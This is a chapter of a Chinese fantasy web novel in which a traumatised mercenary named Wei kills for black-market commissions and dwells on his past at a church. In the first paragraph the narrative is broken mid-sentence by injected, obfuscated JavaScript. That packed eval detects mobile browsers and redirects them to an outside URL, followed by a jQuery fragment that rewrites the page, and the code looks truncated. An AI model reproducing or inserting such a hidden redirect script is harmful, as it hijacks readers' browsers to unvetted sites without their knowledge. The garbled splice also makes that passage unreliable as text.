另外两人见状,怒骂着扑上来,一个掏出了匕首,另一个则挥拳直击未的面门。未的步伐像是滑行,精准地避开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848515|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳锋,同时矮身,手肘如同铁锤般撞在持匕者的肋下。清晰的骨裂声响起,那人惨叫一声,匕首脱手。未顺势接住下落的匕首,反手一划,不是致命伤,却精准地割开了挥拳者手臂的肌腱。鲜血喷溅出来,伴随着又一声惨叫。 战斗在十秒内开始,又在十秒内结束。三个寻衅者躺在地上呻吟,未站在原地,微微喘息。他低头看了看手中染血的匕首,又看了看地上的血迹,胃部习惯性地抽搐了一下,但很快被一种更冰冷的东西压了下去。他丢掉匕首,在壮汉的衣服上擦了擦手上沾到的血,然后蹲下身,快速搜走了三人身上为数不多的钱币和一件看起来还能用的短刀。 “可以杀,只要对方有罪就杀。” 他在心里默念着这条新定下的、简陋而残酷的准则。这三个家伙算有罪吗?意图抢劫,可能伤害甚至杀死他,在黑市的法则里,足够判死刑了。他只是反击,没有取他们性命。但下次呢?如果对方更凶残,如果情况更危急? 他站起身,跨过地上的身体,继续向黑市更深处走去。背后传来压抑的痛呼和咒骂,但他没有回头。第一步,已经迈出。 很快,未在黑市外围小有名气。不是因为他有多强,而是因为他那股子不要命的劲头和干净利落的手法。加上“被教会通缉的疯子”这个隐约流传的称号,让他接一些不那么需要团队协作、偏向于解决“麻烦”或“清理”的委托时,竟意外地顺利。 他接的第一个像样的委托,是解决一个盘踞在下水道入口、向周围商贩收取高额“保护费”的小团伙头目。委托人是一个被逼得快活不下去的药剂师。未没多问,收了定金,当晚就摸进了下水道。 气味污浊,光线昏暗。头目身边有两个保镖。未没有强攻,他在复杂的管道系统里潜伏、观察,利用回声和阴影,制造了一次落单的假象,引出了一个保镖。近身,捂嘴,在对方放出魔法之前用那把短刀从肋骨间隙精准刺入心脏,然后轻轻放倒。整个过程寂静无声。解决第二个保镖时费了点劲,对方警惕性高,力气也大,但未利用地形,将一个锈蚀的铁闸门猛地推下,砸断了对方的腿,然后补刀。 最后面对那个惊慌失措的头目时,未犹豫了那么一瞬。头目跪地求饶,涕泪横流,说自己也是被逼无奈,上有老下有小。未看着他腰间鼓鼓囊囊的钱袋和手上明显的、属于反抗者留下的伤痕,想起了药剂师枯槁绝望的脸。那一点犹豫消失了。短刀划过喉咙,温热的血喷溅在未的手臂和脸上。他闭了闭眼,再睁开时,里面只剩下完成任务后的空洞。 他用头目的衣服擦干净刀和脸,拿走了钱袋,迅速离开了现场。回到地面,冰冷的夜风一吹,脸上的血腥味似乎淡了些,但那种粘腻的感觉仿佛还留在皮肤上。他走到一个公共水槽边,用力搓洗双手和脸,直到皮肤发红。 委托完成得很“漂亮”,药剂师千恩万谢,报酬也如期支付。未用这些钱换了一身更利于行动的旧皮甲,修补了靴子,买了一把质量更好的匕首和一小包飞刀。他开始有意识地恢复训练,在黑市边缘废弃的仓库区练习奔跑、跳跃、隐匿和刺杀技巧。身体在抗议,肌肉酸痛,旧伤隐隐作痛,但精神上,他却感到一种奇异的……清明。 是的,清明。或许是一种更为极端的麻木,但至少,不再有那些剪不断理还乱的困惑和羞耻。战场是简单的,生或死,杀或被杀,目标明确,手段直接。那些深夜惊醒的冷汗,对突然声响的过度反应,对血腥味的生理性厌恶……它们依然存在,但未不再试图去“处理”或“安抚”它们。他只是对自己说:忍着。就像忍着伤口的疼痛,忍着饥饿,忍着寒冷。在战场上,这些都是需要忽略的背景噪音。只要还能动,还能挥刀,还能思考,就必须前进。 他甚至有些病态地“利用”起这些PTSD症状。一次护送走私品的委托途中,他们遭遇了埋伏。箭矢破空的声音瞬间触发了未的应激反应,冷汗唰地浸湿后背,心脏狂跳,视野边缘出现瞬间的模糊和闪烁——那是无数次被流矢所伤的死亡记忆在翻腾。但就在这几乎要让他僵住的生理恐慌中,他的身体却先于意识做出了动作:猛地将身边的委托人扑倒,同时反手掷出飞刀,精准地钉入了不远处一个弓箭手的眼眶。动作快得连他自己事后都有些惊讶。恐惧没有消失,但它被更强大的、求生的本能和经过千锤百炼的战斗反射压制、甚至驱策了。 “只要把自己一直放在战场上就行了。” 这个想法简单粗暴,但对他似乎有效。黑市就是他的新战场,每一份委托都是一次小型战斗,每一次交易都可能暗藏杀机。在这里,他的不正常反而显得正常。他的警惕、他的沉默、他偶尔流露出的对细节的偏执观察,都被视为“专业”或“谨慎”的表现。 他依旧弱小。相比起那些真正的黑市强者、魔力深厚的法师或是装备精良的佣兵团,他孤身一人,资源有限,身体也未恢复。但他有机会。无数次轮回赋予他的,不仅仅是战斗经验,更是一种根植于灵魂深处的韧性,和对“机会”的敏锐嗅觉。一次看似无解的困局,一个微小的疏忽,一处可以利用的环境因素……他总能找到那条缝隙,哪怕它狭窄得仅容一人侧身而过。 这种“有机会”的感觉,驱散了他大部分的恐惧。他经历过太多比死亡更糟的轮回结局。失败无非是重头再来,或者彻底终结。还有什么比在教会里,被温柔的视线和复杂的情绪包裹,同时又被定义为“病人”、时刻担心自己下一刻是否会再次“失常”、陷入那种分不清现实与幻觉的泥潭更可怕? 那个念头又冒了出来,带着自嘲的冰冷:“这个能有他跟但之间的关系可怕吗?” 答案是:没有。 刀锋割开喉咙的触感是清晰的,血是温热的,敌人的眼神从凶狠到死寂是明确的。疼痛是真实的,饥饿是真实的,完成任务拿到报酬的踏实感也是真实的。这一切,都比但那双盛满疲惫、困惑、以及某种他不敢深究的专注的浅色眼睛,要简单明了得多,也……安全得多。 至少,在这里,他清楚地知道自己是未,一个为了生存和某个目标而行动的雇佣兵。而不是教会档案里那个需要被照顾的默,不是但眼中那个时而笨拙努力、时而情感爆发、记忆混乱的病人。 他接的委托渐渐从单纯的暴力“清理”,扩展到一些需要调查和情报搜集的任务。这正合他意。他开始有意识地通过黑市的渠道,打听关于穆希纳什王国的消息,关于王室秘闻,关于一些罕见的、带有强力束缚或追踪效果的诅咒法术。进展缓慢,信息真伪难辨,但他有耐心。他用完成任务赚来的钱,购买一些可能相关的古籍残卷,或者向某些消息灵通但收费高昂的情报贩子提问。 日子在黑市的喧嚣、血腥和算计中一天天过去。未身上的伤痕添了几道,气质也越发沉冷,像一块被反复捶打冷却的黑铁。他很少说话,必要的信息交流也简洁到近乎吝啬。他睡觉很浅,任何风吹草动都会立刻惊醒。他吃东西很快,不在乎味道,只在乎是否能提供足够的能量。他像一个精确运转的杀戮和生存机器,刻意摒弃了所有“多余”的感受。 只是偶尔,在极深的夜里,当他完成一个棘手的委托,带着一身疲惫和血腥味回到临时栖身的破旧房间(他已经不住在地堡里了),冲洗掉身上的污秽,独自面对冰冷的四壁时……那些被压抑的“多余”感受,会如同黑暗中的潮水,悄无声息地漫上来。 他可能会突然想起教会食堂那种粗糙但温暖的面包香气,而不是黑市酒馆里劣质酒精和变质食物的味道。 他可能会想起但泡的、带着淡淡苦艾草味的甘菊茶,即使他当时并未觉得多好喝。 他可能会想起图书馆里阳光透过彩窗投下的、安静移动的光斑。 甚至……会想起但那缕总是滑落的蓝发,想起他讲解魔纹时微微蹙起的眉头,想起他疲惫时捏着眉心的动作,想起观星台上(无论真相如何)那冰冷的夜风和仿佛触手可及的、遥远的星光。 这些记忆碎片没有伴随任何激烈的情感,只是像褪色的旧照片,安静地浮现,又安静地沉没。未不会允许自己沉浸其中,每次都是一察觉到苗头,便立刻用更实际的思考或身体的疲惫将其驱散。但它们的出现本身,就像一种无声的提醒:他逃离的,不仅仅是监管和诊断,还有某种他曾短暂触及、却又因自身混乱而无法承受的连接。 这种连接是否真实,是否健康,是否只是他病态的投射,他已经无力也无心去分辨。他只知道,面对它,比面对刀剑和死亡更让他感到无措和恐慌。所以,他选择留在黑市,留在战场,留在这个用简单暴力和明确规则构筑的世界里。 至少在这里,他清楚地知道,自己是谁,该做什么。 即使这个“自己”,是一个双手沾满鲜血、行走于灰色地带、将过往温柔视为猛兽的、清醒的亡命之徒。